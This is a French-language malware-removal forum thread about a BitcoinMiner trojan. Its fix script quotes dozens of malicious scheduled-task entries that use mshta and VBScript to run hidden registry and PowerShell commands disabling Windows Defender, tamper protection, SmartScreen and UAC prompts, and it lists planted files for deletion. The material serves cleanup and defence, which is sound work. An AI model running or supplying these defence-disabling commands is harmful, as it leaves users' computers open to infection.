Task: {7A7A2CA8-BFEA-42C5-BCE6-F745D7BA1953} - System32\Tasks\Microsoft\Windows\SpacePort\Real-Time Protection => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection"" /v DpaDisabled /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {BAFAF9E4-9DEC-4E9D-BE3F-87FEEA8FB29B} - System32\Tasks\Microsoft\Windows\SpacePort\Scan_ScheduleDay => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Remediation"" /v Scan_ScheduleDay /t REG_DWORD /d 8 /f",0)(Window.Close) <==== ATTENTION
Task: {17C5ABA4-4EF5-4FCD-8182-6E44A8DD4333} - System32\Tasks\Microsoft\Windows\SpacePort\Scan_ScheduleTime => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Remediation"" /v Scan_ScheduleTime /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {201B0A89-D4FE-47A7-A40B-23C7731155A6} - System32\Tasks\Microsoft\Windows\SpacePort\ScanOnlyIfIdle => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan"" /v ScanOnlyIfIdle /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {E280587F-EA27-4FEA-8F4C-1D9B4CD42FF0} - System32\Tasks\Microsoft\Windows\SpacePort\ScanParameters => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan"" /v ScanParameters /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {C9ACA6B4-978D-4D14-A8CE-BAB5B0088FE0} - System32\Tasks\Microsoft\Windows\SpacePort\ScheduleDay => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan"" /v ScheduleDay /t REG_DWORD /d 8 /f",0)(Window.Close) <==== ATTENTION
Task: {4E80A2EE-88BD-46A8-B2FB-08FE6DAE9776} - System32\Tasks\Microsoft\Windows\SpacePort\ScheduleDay2 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates"" /v ScheduleDay /t REG_DWORD /d 8 /f",0)(Window.Close) <==== ATTENTION
Task: {A4BC7165-14C3-4723-BF93-1AE70843AEB4} - System32\Tasks\Microsoft\Windows\SpacePort\ScheduleTime => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan"" /v ScheduleTime /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {BEAF87C6-6B07-4000-9DC8-4E92DE7DBA55} - System32\Tasks\Microsoft\Windows\SpacePort\ScheduleTime2 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates"" /v ScheduleTime /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {47C23DD4-8DDA-4982-AD96-F75C010CF3AD} - System32\Tasks\Microsoft\Windows\SpacePort\SecurityAndMaintenance => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance /v Enabled /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {E47BCC93-AA58-4252-888B-DCDE74DBE340} - System32\Tasks\Microsoft\Windows\SpacePort\SecurityHealth => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SecurityHealth /f",0)(Window.Close) <==== ATTENTION
Task: {7F1D4113-1B92-4E9C-B7A5-7304EA3AC000} - System32\Tasks\Microsoft\Windows\SpacePort\SecurityHealth2 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run /v SecurityHealth /t REG_BINARY /d 030000000000000000000000 /f",0)(Window.Close) <==== ATTENTION
Task: {A2FDA423-D5F4-418E-ACD8-4868EECA877D} - System32\Tasks\Microsoft\Windows\SpacePort\SecurityHealthServic4e => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\System\CurrentControlSet\Services\SecurityHealthService /v Start /t REG_DWORD /d 4 /f",0)(Window.Close) <==== ATTENTION
Task: {AD57BEF5-6CA6-45C6-AFA2-8C0572F2D614} - System32\Tasks\Microsoft\Windows\SpacePort\SecurityHealthService => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService /v Start /t REG_DWORD /d 4 /f",0)(Window.Close) <==== ATTENTION
Task: {DFA3F7C8-572A-4879-A529-867B266EEC02} - System32\Tasks\Microsoft\Windows\SpacePort\SecurityHealthService2 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("reg delete HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService /f",0)(Window.Close) <==== ATTENTION
Task: {320883D5-9CB5-4571-BCC2-1D4E6CCD19F6} - System32\Tasks\Microsoft\Windows\SpacePort\Sense => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SYSTEM\ControlSet001\Services\Sense /v Start /t REG_DWORD /d 4 /f",0)(Window.Close) <==== ATTENTION
Task: {42615C65-324D-41CE-8DDD-814FF1C76FE4} - System32\Tasks\Microsoft\Windows\SpacePort\Services => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("reg delete HKLM\SYSTEM\CurrentControlSet\Services\Sense /f",0)(Window.Close) <==== ATTENTION
Task: {77347DE7-14B5-4E94-8069-EFBC4CBBC8F8} - System32\Tasks\Microsoft\Windows\SpacePort\SevereThreatDefaultAction => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c powershell -Command Set-MpPreference -SevereThreatDefaultAction 6 -ErrorAction Ignore",0)(Window.Close) <==== ATTENTION
Task: {4B77B44A-31FD-4BEB-9B5A-8037F0E77629} - System32\Tasks\Microsoft\Windows\SpacePort\SignatureUpdateCatchupInterval => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates"" /v SignatureUpdateCatchupInterval /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {D188D92A-EA49-4475-9F83-90BDF894DB03} - System32\Tasks\Microsoft\Windows\SpacePort\SmartScreenEnabled => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\DEFAULT\SOFTWARE\Policies\Microsoft\Edge /v SmartScreenEnabled /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {2D4AFB77-CFA4-409F-A317-9E7B328836BE} - System32\Tasks\Microsoft\Windows\SpacePort\SmartScreenEnabled1 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("reg add ""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer"" /v SmartScreenEnabled /t REG_SZ /d Off /f",0)(Window.Close) <==== ATTENTION
Task: {CC8F75F7-C503-49DB-858E-3FFEA3FCAD2F} - System32\Tasks\Microsoft\Windows\SpacePort\SmartScreenEnabled12 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer /v SmartScreenEnabled /t REG_SZ /d Off /f",0)(Window.Close) <==== ATTENTION
Task: {A6BB9B16-DC23-440D-8117-D996BED19A98} - System32\Tasks\Microsoft\Windows\SpacePort\SmartScreenEnabled2 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\NTUSER\SOFTWARE\Policies\Microsoft\Edge /v SmartScreenEnabled /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {AFD32366-83A7-4846-B18B-2774900156CB} - System32\Tasks\Microsoft\Windows\SpacePort\SmartScreenEnabled3 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost /v SmartScreenEnabled /t REG_SZ /d Off /f",0)(Window.Close) <==== ATTENTION
Task: {4FE16484-4965-4C98-89B9-047451163E8E} - System32\Tasks\Microsoft\Windows\SpacePort\SpyNetReporting => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet"" /v SpyNetReporting /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {D806A0F0-1B8C-4328-8CD6-E3EE86780057} - System32\Tasks\Microsoft\Windows\SpacePort\SpynetReporting1 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet"" /v SpynetReporting /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {69EFC937-D97C-49D0-AE2E-0B931B041401} - System32\Tasks\Microsoft\Windows\SpacePort\SpyNetReportingLocation => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet"" /v SpyNetReportingLocation /t REG_MULTI_SZ /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {AC9557C6-CD9E-43E7-BE28-DE80621CB2A3} - System32\Tasks\Microsoft\Windows\SpacePort\StartupApproved => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run /v ""Windows Defender"" /f",0)(Window.Close) <==== ATTENTION
Task: {486CDB55-7EE6-4A0B-88CD-B3B65148A28D} - System32\Tasks\Microsoft\Windows\SpacePort\StartupApproved2 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run /v SecurityHealth /f",0)(Window.Close) <==== ATTENTION
Task: {DF7B9B3C-A9FB-40D9-B343-C7CF1564DEA8} - System32\Tasks\Microsoft\Windows\SpacePort\StartupWithoutEngine13 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c powershell -Command Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine True -ErrorAction Ignore",0)(Window.Close) <==== ATTENTION
Task: {4D25B714-4FB9-4846-82ED-6631ABD29858} - System32\Tasks\Microsoft\Windows\SpacePort\SubmitSamplesConsent => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet"" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f",0)(Window.Close) <==== ATTENTION
Task: {0A374FDF-3B14-4C06-AC2B-22842B76C012} - System32\Tasks\Microsoft\Windows\SpacePort\SubmitSamplesConsent1 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c powershell -Command Set-MpPreference -SubmitSamplesConsent 2 -ErrorAction Ignore",0)(Window.Close) <==== ATTENTION
Task: {E2351740-0C2E-4E79-9266-AD9928478C1F} - System32\Tasks\Microsoft\Windows\SpacePort\SubmitSamplesConsent2 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet"" /v SubmitSamplesConsent /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {D956C8BE-15F3-453B-A521-07C12BB285E2} - System32\Tasks\Microsoft\Windows\SpacePort\TamperProtection => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Microsoft\Windows Defender\Features"" /v TamperProtection /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {DA95A678-BFBD-41E7-9FC2-2AF5B5A0BBBC} - System32\Tasks\Microsoft\Windows\SpacePort\TamperProtection2 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Microsoft\Windows Defender\Features"" /v TamperProtection /t REG_DWORD /d 4 /f",0)(Window.Close) <==== ATTENTION
Task: {8DBF5BD4-121B-4C0A-A153-9F073B3A9BC1} - System32\Tasks\Microsoft\Windows\SpacePort\TamperProtectionSource => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Microsoft\Windows Defender\Features"" /v TamperProtectionSource /t REG_DWORD /d 2 /f",0)(Window.Close) <==== ATTENTION
Task: {BE18C5A8-D1F8-422C-968D-7F787BF875B3} - System32\Tasks\Microsoft\Windows\SpacePort\UAC Content => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {3B8AAA22-5D0E-4ECD-A6A2-951F12C0259C} - System32\Tasks\Microsoft\Windows\SpacePort\UAC Popup => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v PromptOnSecureDesktop /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {C737DB7C-9BA7-40CF-9E3C-53D6AB7D0BFA} - System32\Tasks\Microsoft\Windows\SpacePort\WdBoot => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\System\CurrentControlSet\Services\WdBoot /v Start /t REG_DWORD /d 4 /f",0)(Window.Close) <==== ATTENTION
Task: {61E46C32-CABB-457F-9ACE-39D331C02E7A} - System32\Tasks\Microsoft\Windows\SpacePort\WdBoot1 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SYSTEM\ControlSet001\Services\WdBoot /v Start /t REG_DWORD /d 4 /f",0)(Window.Close) <==== ATTENTION
Task: {D1A64762-31CE-496F-A461-ACA7D779DE7F} - System32\Tasks\Microsoft\Windows\SpacePort\WdBoot2 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\System\ControlSet001\Services\WdBoot /v Start /t REG_DWORD /d 4 /f",0)(Window.Close) <==== ATTENTION
Task: {120E0AB2-CF81-42E8-8215-67FC69B3F4E3} - System32\Tasks\Microsoft\Windows\SpacePort\WdFilter => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SYSTEM\ControlSet001\Services\WdFilter /v Start /t REG_DWORD /d 4 /f",0)(Window.Close) <==== ATTENTION
Task: {380AAF3C-A8B1-47EA-B38D-C43D2D819C58} - System32\Tasks\Microsoft\Windows\SpacePort\WdFilter1 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\System\CurrentControlSet\Services\WdFilter /v Start /t REG_DWORD /d 4 /f",0)(Window.Close) <==== ATTENTION
Task: {0F1AC034-2449-4E8A-865D-FE3A32F76459} - System32\Tasks\Microsoft\Windows\SpacePort\WdFilter2 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\System\ControlSet001\Services\WdFilter /v Start /t REG_DWORD /d 4 /f",0)(Window.Close) <==== ATTENTION
Task: {C59FB8B7-4C56-48E8-BD0F-262FE4E9EA70} - System32\Tasks\Microsoft\Windows\SpacePort\WdNi1sSvc => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\System\CurrentControlSet\Services\WdNisSvc /v Start /t REG_DWORD /d 4 /f",0)(Window.Close) <==== ATTENTION
Task: {4FB58CD6-29F5-4251-A3B8-DDB3B59272EB} - System32\Tasks\Microsoft\Windows\SpacePort\WdNis1Drv1 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\System\CurrentControlSet\Services\WdNisDrv /v Start /t REG_DWORD /d 4 /f",0)(Window.Close) <==== ATTENTION
Task: {FC438C24-5362-4BEF-AFD2-F7532EF02C64} - System32\Tasks\Microsoft\Windows\SpacePort\WdNisDrv => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SYSTEM\ControlSet001\Services\WdNisDrv /v Start /t REG_DWORD /d 4 /f",0)(Window.Close) <==== ATTENTION
Task: {3958EC6F-C559-4BB8-A83A-80C60E027AB5} - System32\Tasks\Microsoft\Windows\SpacePort\WdNisDrv2 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\System\ControlSet001\Services\WdNisDrv /v Start /t REG_DWORD /d 4 /f",0)(Window.Close) <==== ATTENTION
Task: {BA69C49E-BA92-4A7B-BBB0-6DD23E61FA6F} - System32\Tasks\Microsoft\Windows\SpacePort\WdNisSvc => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SYSTEM\ControlSet001\Services\WdNisSvc /v Start /t REG_DWORD /d 4 /f",0)(Window.Close) <==== ATTENTION
Task: {6732EA47-9287-4707-A8B9-14108F65A6DF} - System32\Tasks\Microsoft\Windows\SpacePort\WdNisSvc2 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\System\ControlSet001\Services\WdNisSvc /v Start /t REG_DWORD /d 4 /f",0)(Window.Close) <==== ATTENTION
Task: {58250F94-90C5-4964-BCB2-9EB2ACB8B87F} - System32\Tasks\Microsoft\Windows\SpacePort\WinDefend => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SYSTEM\ControlSet001\Services\WinDefend /v Start /t REG_DWORD /d 4 /f",0)(Window.Close) <==== ATTENTION
Task: {7839A6BD-7F10-47C4-80FD-8EACADA5A816} - System32\Tasks\Microsoft\Windows\SpacePort\WinDefend1 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\System\CurrentControlSet\Services\WinDefend /v Start /t REG_DWORD /d 4 /f",0)(Window.Close) <==== ATTENTION
Task: {D17A2F0F-017E-4D46-9E5A-55CFE324DA35} - System32\Tasks\Microsoft\Windows\SpacePort\WinDefend2 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\System\ControlSet001\Services\WinDefend /v Start /t REG_DWORD /d 4 /f",0)(Window.Close) <==== ATTENTION
Task: {FD150F68-E236-47EB-9B44-644B11786A70} - System32\Tasks\Microsoft\Windows\SpacePort\WinDefend3 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SYSTEM\ControlSet001\Services\EventLog\System\WinDefend /v Start /t REG_DWORD /d 4 /f",0)(Window.Close) <==== ATTENTION
Task: {C4787803-159A-4B7B-8D65-D9C69A10EC5D} - System32\Tasks\Microsoft\Windows\SpacePort\Windows Defender1 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ""Windows Defender"" /f",0)(Window.Close) <==== ATTENTION
Task: {8B7CEEA0-FB33-471A-B4CC-F6D08B57AD1A} - System32\Tasks\Microsoft\Windows\SpacePort\WindowsDefender => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsDefender /f",0)(Window.Close) <==== ATTENTION
Task: {F31244F0-2A1F-4845-BEBA-156030A79511} - System32\Tasks\WINHSTB => C:\ProgramData\Winhlp32\Winhlp32.exe  (Pas de fichier) <==== ATTENTION
2024-06-30 00:40 - 2024-07-13 13:22 - 000003530 _____ C:\WINDOWS\system32\Tasks\FlushCache5
2024-06-30 00:40 - 2024-07-13 13:22 - 000003270 _____ C:\WINDOWS\system32\Tasks\FlushCache
2024-06-04 23:32 - 2024-07-06 16:13 - 000000009 _____ () C:\Users\Public\mx.exe
2022-08-09 20:07 - 2022-08-09 20:07 - 000001004 _____ () C:\Users\33628\AppData\Roaming\tof_launcher.reg
C:\ProgramData\Winhlp32
C:\Recovery\
EmptyTemp:
RemoveProxy:
Reboot:
End:

Ferme le bloc-note, retourne sur FRST et clique sur le bouton "Corriger / Fix"
Un redémarrage sera peut-être nécessaire et automatique.
Un fichier texte apparaît, copie/colle le contenu ici dans un nouveau message.

Redémarre l'ordinateur.
(L'ordinateur peut redémarrer tout seul, si le rapport de correction ne s'ouvre pas, cherche un fichier fixlog.txt qui se trouve dans le même dossier que FRST)

Important :

Le contenu de la correction ne doit pas être vide et doit refléter le script donné précédemment.
Dans le cas où la correction est vide, essaye de faire la correction FRST comme ceci :

Place le programme FRST sur le bureau
Ouvre le bloc-note.
Colle le script donné plus haut.
Enregistre le fichier sur le sur le bureau de Windows (pas ailleurs) sous le nom de fixlist.txt.
Relance FRST puis Corriger.

2) réinitialiser les navigateurs:
==================================
Réinitialise tes navigateurs et/ou re-paramètre manuellement tes navigateurs WEB ( page de démarrage, moteur de recherche, etc ) mais aussi supprimer/désactiver les extensions inutiles/parasites.
Pour t'aider à effectuer ce ménage, clique ci-dessous sur le nom du navigateur WEB que tu utilises :

Réparer Mozilla Firefox (premier paragraphe)
Réparer Google Chrome (premier paragraphe)
Comment réparer ou réinitialiser Microsoft Edge

3)
Faire un nettoyage Malwarebytes Anti-Malware (MBAM) version gratuite

4)
Refais un scan FRST et donne les nouveaux rapports via pjjoint

Neru · par **Neru** » 14 juil. 2024 11:08

Bonjour,

Merci de votre aide, par défaut de temps, j'avais décidé de remettre mon ordinateur aux paramètres d'usine.

J'ai donc effectué une réinitialisation du PC, avec au préalable récupéré les données les plus importantes.

Après avoir effectué cela, j'ai vérifié si Windows Defender pouvait s'ouvrir, et par surprise tout fonctionné normalement.
Par la suite j'ai fais une analyse Defender et Malwarebytes : résultats aucune menace détectée. J'ai fais une réinitialisation des navigateurs. Et réeffectué à l'occasion un scan FRST.

Je pense que mon soucis et réglé.

Cependant il semblerait toujours avoir des logiciels (contraignants ?) que je n'utilise pas par défaut, par exemple ExpressVPN.
J'ai supprimé le logiciel et fait de même sur ceux que je n'utilise pas.

Je vous envoie toutefois les rapports

https://pjjoint.malekal.com/files.php?i ... 7i155e13y6
https://pjjoint.malekal.com/files.php?i ... i13y7r14x9
https://pjjoint.malekal.com/files.php?i ... 15r7y12g86

Résultats de correction de Farbar Recovery Scan Tool (x64) Version: 13.07.2024
Exécuté par pierr (13-07-2024 19:52:02) Run:1
Exécuté depuis C:\Users\pierr\Desktop
Profils chargés: pierr
Mode d'amorçage: Normal
==============================================

fixlist contenu:
**
̩
**

==== Fin de Fixlog 19:52:02 ====

Merci à vous,
Neru

par **Parisien_entraide** » 14 juil. 2024 11:38

Neru a écrit : 14 juil. 2024 11:08 Bonjour,

Merci de votre aide, par défaut de temps, j'avais décidé de remettre mon ordinateur aux paramètres d'usine.

J'ai donc effectué une réinitialisation du PC, avec au préalable récupéré les données les plus importantes.
(...)

Bonjour

Donc en fait tu fais perdre du temps à tout le monde pour faire tout autre chose

Du reste un script cela ne prend que quelques secondes pour application, ce qui n'est pas le cas d'une réinitialisation/restauration etc

Ensuite le script était adapté à une situation particulière à un instant T
Donc quel est l'intérêt de procéder à un fix APRES avoir tout remis aux paramètres d'usine ?

En plus tu lis mal
Malekal avait indiqué

Important :

Le contenu de la correction ne doit pas être vide et doit refléter le script donné précédemment.

par **Malekal_morte** » 14 juil. 2024 12:32

Du coup on peut clôturer.
Désinstalle tous les programmes McAfee et WildAgent

A lire : que faire après une attaque de virus informatique.
Change tes mots de passe et suis les instructions pour la bonne conduite pour ne plus te faire infecter.

Pour éviter les virus, il faut savoir comment les pirates s'y prennent pour infecter les ordinateurs : Comment les virus informatiques sont distribués
Enfin pour protéger ton PC : Comment protéger son PC des virus et des pirates ?

Si l'aide t'a contenu ou si les tutoriels du site t'ont aidé, tu peux prendre le temps d'évaluer le site sur Bing, ce serait sympa : Evaluer le site malekal.com

Malekal.com forum

Virus BitcoinMiner.Trojan [résolu]

Virus BitcoinMiner.Trojan [résolu]

Re: Virus BitcoinMiner.Trojan

Re: Virus BitcoinMiner.Trojan

Re: Virus BitcoinMiner.Trojan

Re: Virus BitcoinMiner.Trojan

Re: Virus BitcoinMiner.Trojan

Re: Virus BitcoinMiner.Trojan

Re: Virus BitcoinMiner.Trojan [résolu]